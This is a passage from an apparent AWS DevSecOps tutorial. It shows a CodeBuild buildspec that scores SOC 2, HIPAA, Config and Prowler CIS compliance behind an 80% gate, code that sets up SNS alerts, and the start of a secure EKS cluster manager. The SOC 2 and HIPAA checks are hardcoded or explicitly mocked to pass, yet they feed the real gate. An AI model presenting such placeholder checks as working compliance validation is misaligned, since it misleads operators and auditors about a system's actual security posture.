    {</span><span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="s">: </span><span class="sh">'</span><span class="s">Encryption at rest enabled</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">status</span><span class="sh">'</span><span class="s">: </span><span class="sh">'</span><span class="s">pass</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">weight</span><span class="sh">'</span><span class="s">: 0.25},
    {</span><span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="s">: </span><span class="sh">'</span><span class="s">Network segmentation implemented</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">status</span><span class="sh">'</span><span class="s">: </span><span class="sh">'</span><span class="s">pass</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">weight</span><span class="sh">'</span><span class="s">: 0.2},
    {</span><span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="s">: </span><span class="sh">'</span><span class="s">Access controls implemented</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">status</span><span class="sh">'</span><span class="s">: </span><span class="sh">'</span><span class="s">pass</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">weight</span><span class="sh">'</span><span class="s">: 0.15},
    {</span><span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="s">: </span><span class="sh">'</span><span class="s">Security monitoring enabled</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">status</span><span class="sh">'</span><span class="s">: </span><span class="sh">'</span><span class="s">pass</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">weight</span><span class="sh">'</span><span class="s">: 0.1}
]

availability_checks = [
    {</span><span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="s">: </span><span class="sh">'</span><span class="s">Multi-AZ deployment</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">status</span><span class="sh">'</span><span class="s">: </span><span class="sh">'</span><span class="s">pass</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">weight</span><span class="sh">'</span><span class="s">: 0.4},
    {</span><span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="s">: </span><span class="sh">'</span><span class="s">Backup and recovery procedures</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">status</span><span class="sh">'</span><span class="s">: </span><span class="sh">'</span><span class="s">pass</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">weight</span><span class="sh">'</span><span class="s">: 0.3},
    {</span><span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="s">: </span><span class="sh">'</span><span class="s">Monitoring and alerting</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">status</span><span class="sh">'</span><span class="s">: </span><span class="sh">'</span><span class="s">pass</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">weight</span><span class="sh">'</span><span class="s">: 0.3}
]

# Calculate scores for each category
for check in security_checks:
    soc2_compliance[</span><span class="sh">'</span><span class="s">security</span><span class="sh">'</span><span class="s">][</span><span class="sh">'</span><span class="s">checks</span><span class="sh">'</span><span class="s">].append(check)
    if check[</span><span class="sh">'</span><span class="s">status</span><span class="sh">'</span><span class="s">] == </span><span class="sh">'</span><span class="s">pass</span><span class="sh">'</span><span class="s">:
        soc2_compliance[</span><span class="sh">'</span><span class="s">security</span><span class="sh">'</span><span class="s">][</span><span class="sh">'</span><span class="s">score</span><span class="sh">'</span><span class="s">] += check[</span><span class="sh">'</span><span class="s">weight</span><span class="sh">'</span><span class="s">]

for check in availability_checks:
    soc2_compliance[</span><span class="sh">'</span><span class="s">availability</span><span class="sh">'</span><span class="s">][</span><span class="sh">'</span><span class="s">checks</span><span class="sh">'</span><span class="s">].append(check)
    if check[</span><span class="sh">'</span><span class="s">status</span><span class="sh">'</span><span class="s">] == </span><span class="sh">'</span><span class="s">pass</span><span class="sh">'</span><span class="s">:
        soc2_compliance[</span><span class="sh">'</span><span class="s">availability</span><span class="sh">'</span><span class="s">][</span><span class="sh">'</span><span class="s">score</span><span class="sh">'</span><span class="s">] += check[</span><span class="sh">'</span><span class="s">weight</span><span class="sh">'</span><span class="s">]

# Calculate overall score
overall_score = 0
for category, data in soc2_compliance.items():
    if category != </span><span class="sh">'</span><span class="s">overall_score</span><span class="sh">'</span><span class="s"> and </span><span class="sh">'</span><span class="s">score</span><span class="sh">'</span><span class="s"> in data:
        overall_score += data[</span><span class="sh">'</span><span class="s">score</span><span class="sh">'</span><span class="s">] * data[</span><span class="sh">'</span><span class="s">weight</span><span class="sh">'</span><span class="s">]

soc2_compliance[</span><span class="sh">'</span><span class="s">overall_score</span><span class="sh">'</span><span class="s">] = overall_score

with open(</span><span class="sh">'</span><span class="s">soc2_compliance.json</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">w</span><span class="sh">'</span><span class="s">) as f:
    json.dump(soc2_compliance, f, indent=2)

print(f</span><span class="sh">'</span><span class="s">SOC 2 compliance validation complete:</span><span class="sh">'</span><span class="s">)
print(f</span><span class="sh">'</span><span class="s">Overall score: {overall_score:.2f}</span><span class="sh">'</span><span class="s">)
</span><span class="sh">"</span><span class="s">
      
      # Run HIPAA compliance checks if applicable
      - |
        if [ </span><span class="sh">'</span><span class="s">$HIPAA_REQUIRED</span><span class="sh">'</span><span class="s"> = </span><span class="sh">'</span><span class="s">true</span><span class="sh">'</span><span class="s"> ]; then
          echo </span><span class="sh">"</span><span class="s">Running HIPAA compliance validation...</span><span class="sh">"</span><span class="s">
          python3 -c </span><span class="sh">"</span><span class="s">
import boto3
import json

hipaa_compliance = {
    </span><span class="sh">'</span><span class="s">administrative_safeguards</span><span class="sh">'</span><span class="s">: {</span><span class="sh">'</span><span class="s">score</span><span class="sh">'</span><span class="s">: 0, </span><span class="sh">'</span><span class="s">max_score</span><span class="sh">'</span><span class="s">: 10},
    </span><span class="sh">'</span><span class="s">physical_safeguards</span><span class="sh">'</span><span class="s">: {</span><span class="sh">'</span><span class="s">score</span><span class="sh">'</span><span class="s">: 0, </span><span class="sh">'</span><span class="s">max_score</span><span class="sh">'</span><span class="s">: 8},
    </span><span class="sh">'</span><span class="s">technical_safeguards</span><span class="sh">'</span><span class="s">: {</span><span class="sh">'</span><span class="s">score</span><span class="sh">'</span><span class="s">: 0, </span><span class="sh">'</span><span class="s">max_score</span><span class="sh">'</span><span class="s">: 12},
    </span><span class="sh">'</span><span class="s">overall_compliance</span><span class="sh">'</span><span class="s">: 0
}

# Mock HIPAA compliance checks
technical_checks = [
    </span><span class="sh">'</span><span class="s">Encryption in transit and at rest</span><span class="sh">'</span><span class="s">,
    </span><span class="sh">'</span><span class="s">Access controls and authentication</span><span class="sh">'</span><span class="s">,
    </span><span class="sh">'</span><span class="s">Audit logging enabled</span><span class="sh">'</span><span class="s">,
    </span><span class="sh">'</span><span class="s">Data backup and recovery</span><span class="sh">'</span><span class="s">,
    </span><span class="sh">'</span><span class="s">Network security controls</span><span class="sh">'</span><span class="s">
]

for check in technical_checks:
    hipaa_compliance[</span><span class="sh">'</span><span class="s">technical_safeguards</span><span class="sh">'</span><span class="s">][</span><span class="sh">'</span><span class="s">score</span><span class="sh">'</span><span class="s">] += 2  # Mock passing score

total_possible = (hipaa_compliance[</span><span class="sh">'</span><span class="s">administrative_safeguards</span><span class="sh">'</span><span class="s">][</span><span class="sh">'</span><span class="s">max_score</span><span class="sh">'</span><span class="s">] + 
                 hipaa_compliance[</span><span class="sh">'</span><span class="s">physical_safeguards</span><span class="sh">'</span><span class="s">][</span><span class="sh">'</span><span class="s">max_score</span><span class="sh">'</span><span class="s">] + 
                 hipaa_compliance[</span><span class="sh">'</span><span class="s">technical_safeguards</span><span class="sh">'</span><span class="s">][</span><span class="sh">'</span><span class="s">max_score</span><span class="sh">'</span><span class="s">])

total_actual = (hipaa_compliance[</span><span class="sh">'</span><span class="s">administrative_safeguards</span><span class="sh">'</span><span class="s">][</span><span class="sh">'</span><span class="s">score</span><span class="sh">'</span><span class="s">] + 
               hipaa_compliance[</span><span class="sh">'</span><span class="s">physical_safeguards</span><span class="sh">'</span><span class="s">][</span><span class="sh">'</span><span class="s">score</span><span class="sh">'</span><span class="s">] + 
               hipaa_compliance[</span><span class="sh">'</span><span class="s">technical_safeguards</span><span class="sh">'</span><span class="s">][</span><span class="sh">'</span><span class="s">score</span><span class="sh">'</span><span class="s">])

hipaa_compliance[</span><span class="sh">'</span><span class="s">overall_compliance</span><span class="sh">'</span><span class="s">] = (total_actual / total_possible) * 100

with open(</span><span class="sh">'</span><span class="s">hipaa_compliance.json</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">w</span><span class="sh">'</span><span class="s">) as f:
    json.dump(hipaa_compliance, f, indent=2)

print(f</span><span class="sh">'</span><span class="s">HIPAA compliance validation complete:</span><span class="sh">'</span><span class="s">)
print(f</span><span class="sh">'</span><span class="s">Overall compliance: {hipaa_compliance[</span><span class="se">\"</span><span class="s">overall_compliance</span><span class="se">\"</span><span class="s">]:.1f}%</span><span class="sh">'</span><span class="s">)
</span><span class="sh">"</span><span class="s">
        fi
      
      # Aggregate compliance results
      - python3 -c </span><span class="sh">"</span><span class="s">
import json
import sys

compliance_summary = {
    </span><span class="sh">'</span><span class="s">aws_config_compliance</span><span class="sh">'</span><span class="s">: 0,
    </span><span class="sh">'</span><span class="s">cis_benchmark_score</span><span class="sh">'</span><span class="s">: 0,
    </span><span class="sh">'</span><span class="s">soc2_compliance</span><span class="sh">'</span><span class="s">: 0,
    </span><span class="sh">'</span><span class="s">hipaa_compliance</span><span class="sh">'</span><span class="s">: 0,
    </span><span class="sh">'</span><span class="s">overall_compliance_score</span><span class="sh">'</span><span class="s">: 0,
    </span><span class="sh">'</span><span class="s">critical_violations</span><span class="sh">'</span><span class="s">: [],
    </span><span class="sh">'</span><span class="s">compliance_frameworks</span><span class="sh">'</span><span class="s">: []
}

# Process AWS Config results
try:
    with open(</span><span class="sh">'</span><span class="s">aws_config_compliance.json</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">r</span><span class="sh">'</span><span class="s">) as f:
        config_data = json.load(f)
        if </span><span class="sh">'</span><span class="s">summary</span><span class="sh">'</span><span class="s"> in config_data:
            compliance_summary[</span><span class="sh">'</span><span class="s">aws_config_compliance</span><span class="sh">'</span><span class="s">] = config_data[</span><span class="sh">'</span><span class="s">summary</span><span class="sh">'</span><span class="s">].get(</span><span class="sh">'</span><span class="s">compliance_score</span><span class="sh">'</span><span class="s">, 0)
            compliance_summary[</span><span class="sh">'</span><span class="s">compliance_frameworks</span><span class="sh">'</span><span class="s">].append(</span><span class="sh">'</span><span class="s">AWS Config</span><span class="sh">'</span><span class="s">)
except:
    pass

# Process Prowler CIS results
try:
    with open(</span><span class="sh">'</span><span class="s">prowler_results.json</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">r</span><span class="sh">'</span><span class="s">) as f:
        prowler_data = json.load(f)
        # Calculate CIS benchmark score from Prowler results
        total_checks = len(prowler_data)
        passed_checks = sum(1 for check in prowler_data if check.get(</span><span class="sh">'</span><span class="s">Status</span><span class="sh">'</span><span class="s">) == </span><span class="sh">'</span><span class="s">PASS</span><span class="sh">'</span><span class="s">)
        compliance_summary[</span><span class="sh">'</span><span class="s">cis_benchmark_score</span><span class="sh">'</span><span class="s">] = (passed_checks / total_checks * 100) if total_checks &gt; 0 else 0
        compliance_summary[</span><span class="sh">'</span><span class="s">compliance_frameworks</span><span class="sh">'</span><span class="s">].append(</span><span class="sh">'</span><span class="s">CIS Benchmark</span><span class="sh">'</span><span class="s">)
        
        # Identify critical violations
        for check in prowler_data:
            if check.get(</span><span class="sh">'</span><span class="s">Status</span><span class="sh">'</span><span class="s">) == </span><span class="sh">'</span><span class="s">FAIL</span><span class="sh">'</span><span class="s"> and check.get(</span><span class="sh">'</span><span class="s">Severity</span><span class="sh">'</span><span class="s">) == </span><span class="sh">'</span><span class="s">high</span><span class="sh">'</span><span class="s">:
                compliance_summary[</span><span class="sh">'</span><span class="s">critical_violations</span><span class="sh">'</span><span class="s">].append({
                    </span><span class="sh">'</span><span class="s">framework</span><span class="sh">'</span><span class="s">: </span><span class="sh">'</span><span class="s">CIS</span><span class="sh">'</span><span class="s">,
                    </span><span class="sh">'</span><span class="s">check</span><span class="sh">'</span><span class="s">: check.get(</span><span class="sh">'</span><span class="s">CheckID</span><span class="sh">'</span><span class="s">),
                    </span><span class="sh">'</span><span class="s">description</span><span class="sh">'</span><span class="s">: check.get(</span><span class="sh">'</span><span class="s">CheckTitle</span><span class="sh">'</span><span class="s">),
                    </span><span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="s">: check.get(</span><span class="sh">'</span><span class="s">Severity</span><span class="sh">'</span><span class="s">)
                })
except:
    pass

# Process SOC 2 results
try:
    with open(</span><span class="sh">'</span><span class="s">soc2_compliance.json</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">r</span><span class="sh">'</span><span class="s">) as f:
        soc2_data = json.load(f)
        compliance_summary[</span><span class="sh">'</span><span class="s">soc2_compliance</span><span class="sh">'</span><span class="s">] = soc2_data.get(</span><span class="sh">'</span><span class="s">overall_score</span><span class="sh">'</span><span class="s">, 0) * 100
        compliance_summary[</span><span class="sh">'</span><span class="s">compliance_frameworks</span><span class="sh">'</span><span class="s">].append(</span><span class="sh">'</span><span class="s">SOC 2 Type II</span><span class="sh">'</span><span class="s">)
except:
    pass

# Process HIPAA results if available
try:
    with open(</span><span class="sh">'</span><span class="s">hipaa_compliance.json</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">r</span><span class="sh">'</span><span class="s">) as f:
        hipaa_data = json.load(f)
        compliance_summary[</span><span class="sh">'</span><span class="s">hipaa_compliance</span><span class="sh">'</span><span class="s">] = hipaa_data.get(</span><span class="sh">'</span><span class="s">overall_compliance</span><span class="sh">'</span><span class="s">, 0)
        compliance_summary[</span><span class="sh">'</span><span class="s">compliance_frameworks</span><span class="sh">'</span><span class="s">].append(</span><span class="sh">'</span><span class="s">HIPAA</span><span class="sh">'</span><span class="s">)
except:
    pass

# Calculate overall compliance score
framework_scores = [
    compliance_summary[</span><span class="sh">'</span><span class="s">aws_config_compliance</span><span class="sh">'</span><span class="s">],
    compliance_summary[</span><span class="sh">'</span><span class="s">cis_benchmark_score</span><span class="sh">'</span><span class="s">],
    compliance_summary[</span><span class="sh">'</span><span class="s">soc2_compliance</span><span class="sh">'</span><span class="s">]
]

if compliance_summary[</span><span class="sh">'</span><span class="s">hipaa_compliance</span><span class="sh">'</span><span class="s">] &gt; 0:
    framework_scores.append(compliance_summary[</span><span class="sh">'</span><span class="s">hipaa_compliance</span><span class="sh">'</span><span class="s">])

compliance_summary[</span><span class="sh">'</span><span class="s">overall_compliance_score</span><span class="sh">'</span><span class="s">] = sum(framework_scores) / len(framework_scores) if framework_scores else 0

# Save summary
with open(</span><span class="sh">'</span><span class="s">compliance_summary.json</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">w</span><span class="sh">'</span><span class="s">) as f:
    json.dump(compliance_summary, f, indent=2)

print(f</span><span class="sh">'</span><span class="s">Compliance validation complete:</span><span class="sh">'</span><span class="s">)
print(f</span><span class="sh">'</span><span class="s">AWS Config compliance: {compliance_summary[</span><span class="se">\"</span><span class="s">aws_config_compliance</span><span class="se">\"</span><span class="s">]:.1f}%</span><span class="sh">'</span><span class="s">)
print(f</span><span class="sh">'</span><span class="s">CIS benchmark score: {compliance_summary[</span><span class="se">\"</span><span class="s">cis_benchmark_score</span><span class="se">\"</span><span class="s">]:.1f}%</span><span class="sh">'</span><span class="s">)
print(f</span><span class="sh">'</span><span class="s">SOC 2 compliance: {compliance_summary[</span><span class="se">\"</span><span class="s">soc2_compliance</span><span class="se">\"</span><span class="s">]:.1f}%</span><span class="sh">'</span><span class="s">)
if compliance_summary[</span><span class="sh">'</span><span class="s">hipaa_compliance</span><span class="sh">'</span><span class="s">] &gt; 0:
    print(f</span><span class="sh">'</span><span class="s">HIPAA compliance: {compliance_summary[</span><span class="se">\"</span><span class="s">hipaa_compliance</span><span class="se">\"</span><span class="s">]:.1f}%</span><span class="sh">'</span><span class="s">)
print(f</span><span class="sh">'</span><span class="s">Overall compliance score: {compliance_summary[</span><span class="se">\"</span><span class="s">overall_compliance_score</span><span class="se">\"</span><span class="s">]:.1f}%</span><span class="sh">'</span><span class="s">)
print(f</span><span class="sh">'</span><span class="s">Critical violations: {len(compliance_summary[</span><span class="se">\"</span><span class="s">critical_violations</span><span class="se">\"</span><span class="s">])}</span><span class="sh">'</span><span class="s">)

# Compliance gate: fail if overall score is below threshold or critical violations exist
if compliance_summary[</span><span class="sh">'</span><span class="s">overall_compliance_score</span><span class="sh">'</span><span class="s">] &lt; 80 or len(compliance_summary[</span><span class="sh">'</span><span class="s">critical_violations</span><span class="sh">'</span><span class="s">]) &gt; 0:
    print(</span><span class="sh">'</span><span class="s">COMPLIANCE GATE FAILURE: Compliance score below threshold or critical violations found</span><span class="sh">'</span><span class="s">)
    sys.exit(1)
</span><span class="sh">"</span><span class="s">
  
  post_build:
    commands:
      - echo Compliance validation completed
      - |
        if [ $CODEBUILD_BUILD_SUCCEEDING -eq 0 ]; then
          echo </span><span class="sh">"</span><span class="s">Compliance validation failed - stopping pipeline</span><span class="sh">"</span><span class="s">
          aws sns publish --topic-arn arn:aws:sns:us-east-1:$AWS_ACCOUNT_ID:devsecops-alerts </span><span class="se">\
</span><span class="s">            --message </span><span class="sh">"</span><span class="s">Compliance validation failed. Critical compliance violations detected.</span><span class="sh">"</span><span class="s">
        fi

artifacts:
  files:
    - compliance_summary.json
    - aws_config_compliance.json
    - prowler_results.json
    - soc2_compliance.json
    - hipaa_compliance.json

environment:
  variables:
    HIPAA_REQUIRED: </span><span class="sh">'</span><span class="s">false</span><span class="sh">'</span><span class="s">
</span><span class="sh">"""</span>
    
    <span class="k">def</span> <span class="nf">setup_security_notifications</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">pipeline_name</span><span class="p">:</span> <span class="nb">str</span><span class="p">):</span>
        <span class="sh">"""</span><span class="s">Setup SNS notifications for security events</span><span class="sh">"""</span>
        
        <span class="k">try</span><span class="p">:</span>
            <span class="c1"># Create SNS topic for DevSecOps alerts
</span>            <span class="n">sns_response</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="n">sns</span><span class="p">.</span><span class="nf">create_topic</span><span class="p">(</span>
                <span class="n">Name</span><span class="o">=</span><span class="sh">'</span><span class="s">devsecops-alerts</span><span class="sh">'</span><span class="p">,</span>
                <span class="n">Attributes</span><span class="o">=</span><span class="p">{</span>
                    <span class="sh">'</span><span class="s">DisplayName</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">DevSecOps Security Alerts</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">Description</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Security alerts from DevSecOps pipeline</span><span class="sh">'</span>
                <span class="p">}</span>
            <span class="p">)</span>
            
            <span class="n">topic_arn</span> <span class="o">=</span> <span class="n">sns_response</span><span class="p">[</span><span class="sh">'</span><span class="s">TopicArn</span><span class="sh">'</span><span class="p">]</span>
            
            <span class="c1"># Subscribe email endpoint (would be configured with actual email)
</span>            <span class="n">self</span><span class="p">.</span><span class="n">sns</span><span class="p">.</span><span class="nf">subscribe</span><span class="p">(</span>
                <span class="n">TopicArn</span><span class="o">=</span><span class="n">topic_arn</span><span class="p">,</span>
                <span class="n">Protocol</span><span class="o">=</span><span class="sh">'</span><span class="s">email</span><span class="sh">'</span><span class="p">,</span>
                <span class="n">Endpoint</span><span class="o">=</span><span class="sh">'</span><span class="s">security-team@company.com</span><span class="sh">'</span>
            <span class="p">)</span>
            
            <span class="k">return</span> <span class="n">topic_arn</span>
            
        <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Failed to setup security notifications: </span><span class="si">{</span><span class="nf">str</span><span class="p">(</span><span class="n">e</span><span class="p">)</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
            <span class="k">return</span> <span class="bp">None</span>
    
    <span class="k">def</span> <span class="nf">get_account_id</span><span class="p">(</span><span class="n">self</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Get current AWS account ID</span><span class="sh">"""</span>
        <span class="k">try</span><span class="p">:</span>
            <span class="n">sts</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">sts</span><span class="sh">'</span><span class="p">)</span>
            <span class="k">return</span> <span class="n">sts</span><span class="p">.</span><span class="nf">get_caller_identity</span><span class="p">()[</span><span class="sh">'</span><span class="s">Account</span><span class="sh">'</span><span class="p">]</span>
        <span class="k">except</span><span class="p">:</span>
            <span class="k">return</span> <span class="sh">'</span><span class="s">123456789012</span><span class="sh">'</span>  <span class="c1"># Fallback for demo purposes
</span>
<span class="c1"># Example usage
</span><span class="n">pipeline_manager</span> <span class="o">=</span> <span class="nc">SecureDevSecOpsPipeline</span><span class="p">()</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="container-security-integration">Container Security Integration</h2>

<h3 id="eks-security-with-policy-enforcement">EKS Security with Policy Enforcement</h3>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
</pre></td><td class="rouge-code"><pre><span class="kn">import</span> <span class="n">boto3</span>
<span class="kn">import</span> <span class="n">yaml</span>
<span class="kn">from</span> <span class="n">typing</span> <span class="kn">import</span> <span class="n">Dict</span><span class="p">,</span> <span class="n">List</span>

<span class="k">class</span> <span class="nc">EKSSecurityManager</span><span class="p">:</span>
    <span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="n">self</span><span class="p">):</span>
        <span class="n">self</span><span class="p">.</span><span class="n">eks</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">eks</span><span class="sh">'</span><span class="p">)</span>
        <span class="n">self</span><span class="p">.</span><span class="n">ec2</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">ec2</span><span class="sh">'</span><span class="p">)</span>
        <span class="n">self</span><span class="p">.</span><span class="n">iam</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">iam</span><span class="sh">'</span><span class="p">)</span>
        
    <span class="k">def</span> <span class="nf">create_secure_eks_cluster</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">cluster_name</span><span class="p">:</span> <span class="nb">str</span><span class="p">,</span> <span class="n">vpc_config</span><span class="p">:</span> <span class="n">Dict</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Dict</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Create EKS cluster with comprehensive security configurations</span><span class="sh">"""</span>
        
        <span class="k">try</span><span class="p">:</span>
            <span class="c1"># Create EKS cluster with security best practices
</span>            <span class="n">cluster_response</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="n">eks</span><span class="p">.</span><span class="nf">create_cluster</span><span class="p">(</span>
                <span class="n">name</span><span class="o">=</span><span class="n">cluster_name</span><span class="p">,</span>
                <span class="n">version</span><span class="o">=</span><span class="sh">'</span><span class="s">1.25</span><span class="sh">'</span><span class="p">,</span>
                <span class="n">roleArn</span><span class="o">=</span><span class="sa">f</span><span class="sh">'</span><span class="s">arn:aws:iam::</span><span class="si">{</span><span class="n">self</span><span class="p">.</span><span class="nf">get_account_id</span><span class="p">()</span><span class="si">}</span><span class="s">:role/EKSServiceRole</span><span class="sh">'</span><span class="p">,</span>
                <span class="n">resourcesVpcConfig</span><span class="o">=</span><span class="p">{</span>
                    <span class="sh">'</span><span class="s">subnetIds</span><span class="sh">'</span><span class="p">:</span> <span class="n">vpc_config</span><span class="p">[</span><span class="sh">'</span><span class="s">private_subnets</span><span class="sh">'</span><span class="p">],</span>
                    <span class="sh">'</span><span class="s">securityGroupIds</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="n">vpc_config</span><span class="p">[</span><span class="sh">'</span><span class="s">cluster_security_group</span><span class="sh">'</span><span class="p">]],</span>
                    <span class="sh">'</span><span class="s">endpointConfigType</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">PRIVATE</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">endpointPrivateAccess</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">endpointPublicAccess</span><span class="sh">'</span><span class="p">:</span> <span class="bp">False</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">publicAccessCidrs</span><span class="sh">'</span><span class="p">:</span> <span class="p">[]</span>
                <span class="p">},</span>
                <span class="n">kubernetesNetworkConfig</span><span class="o">=</span><span class="p">{</span>
                    <span class="sh">'</span><span class="s">serviceIpv4Cidr</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">172.20.0.0/16</span><span class="sh">'</span>
                <span class="p">},</span>
                <span class="n">logging</span><span class="o">=</span><span class="p">{</span>
                    <span class="sh">'</span><span class="s">enable</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">types</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">api</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">audit</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">authenticator</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">controllerManager</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">scheduler</span><span class="sh">'</span><span class="p">]</span>
                <span class="p">},</span>
                <span class="n">encryptionConfig</span><span class="o">=</span><span class="p">[</span>
                    <span class="p">{</span>
                        <span class="sh">'</span><span class="s">resources</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">secrets</span><span class="sh">'</span><span class="p">],</span>
                        <span class="sh">'</span><span class="s">provider</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                            <span class="sh">'</span><span class="s">keyArn</span><span class="sh">'</span><span class="p">:</span> <span class="n">vpc_config</span><span class="p">[</span><span class="sh">'</span><span class="s">kms_key_arn</span><span class="sh">'</span><span class="p">]</span>
                        <span class="p">}</span>
                    <span class="p">}</span>
                <span class="p">],</span>
                <span class="n">tags</span><span class="o">=</span><span class="p">{</span>
                    <span class="sh">'</span><span class="s">Environment</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">production</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">SecurityLevel</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">high</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">Compliance</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">required</span><span class="sh">'</span>
                <span class="p">}</span>
            <span class="p">)</span>
            
            <span class="c1"># Wait for cluster to be active
</span>            <span class="n">waiter</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="n">eks</span><span class="p">.</span><span class="nf">get_waiter</span><span class="p">(</span><span class="sh">'</span><span class="s">cluster_active</span><span class="sh">'</span><span class="p">)</span>
            <span class="n">waiter</span><span class="p">.</span><span class="nf">wait</span><span class="p">(</span><span class="n">name</span><span class="o">=</span><span class="n">cluster_name</span><span class="p">)</span>
            
            <span class="c1"># Apply security policies
</span>            <span class="n">self</span><span class="p">.</span><span class="nf">apply_security_policies</span><span class="p">(</span><span class="n">cluster_name</span><span class="p">)</span>
            
            <span class="c1"># Configure RBAC
</span>            <span class="n">self</span><span class="p">.</span><span class="nf">configure_rbac</span><span class="p">(</span><span class="n">cluster_name</span><span class="p">)</span>
            
            <span class="c1"># Setup monitoring
</span>            <span class="n">self</span><span class="p">.</span><span class="nf">setup_cluster_monitoring</span><span class="p">(</span><span class="n">cluster_name</span><span class="p">)</span>
            
            <span class="k">return</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">cluster_name</span><span class="sh">'</span><span class="p">:</span> <span class="n">cluster_name</span><span class="p">,</span>
